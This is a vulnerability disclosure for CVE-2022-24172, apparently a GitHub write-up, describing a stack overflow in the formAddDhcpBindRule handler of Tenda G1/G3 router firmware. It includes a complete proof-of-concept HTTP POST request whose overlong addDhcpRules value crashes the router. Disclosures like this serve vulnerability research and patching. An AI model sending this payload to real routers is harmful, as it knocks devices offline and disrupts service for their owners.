Headline
CVE-2022-24172: my_vuln/43.md at main · pjqwudi/my_vuln
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formAddDhcpBindRule. This vulnerability allows attackers to cause a Denial of Service (DoS) via the addDhcpRules parameter.
Tenda Vulnerability
Vendor:Tenda
Product:G1、G3
Version:V15.11.0.17(9502)_CN(Download Link:https://www.tenda.com.cn/download/detail-3108.html)
Type:Stack Overflow
Author:Jiaqian Peng
Institution:[email protected]
Vulnerability description
We found an stack overflow vulnerability in Tenda router with firmware which was released recently, allows remote attackers to crash the server.
Stack Overflow
In httpd binary:
In formAddDhcpBindRule function, addDhcpRules is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the addDhcpRules to execute arbitrary code.
As you can see here, the input has not been checked. In addDhcpRule function, the parameter addDhcpRules is directly copy to a local variable placed on the stack, which overrides the return address of the function, causing buffer overflow.
Supplement
In order to avoid such problems, we believe that the string content should be checked in the input extraction part.
PoC
We set addDhcpRules as 0%09aaaaaaa…%0900%3A0C%3A29%3A7C%3A0B%3A2F , and the router will crash, such as:
POST /goform/addDhcpBindRules HTTP/1.1 Host: 192.168.1.252 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/plain, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 287 Origin: http://192.168.1.252 Connection: close Referer:q http://192.168.1.252/network/lanSet.html?0.5957113036342736 Cookie: _:USERNAME:_=; G3v3_user=
addDhcpRules=0%09aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0900%3A0C%3A29%3A7C%3A0B%3A2F
Result
The target router crashes and cannot provide services correctly and persistently.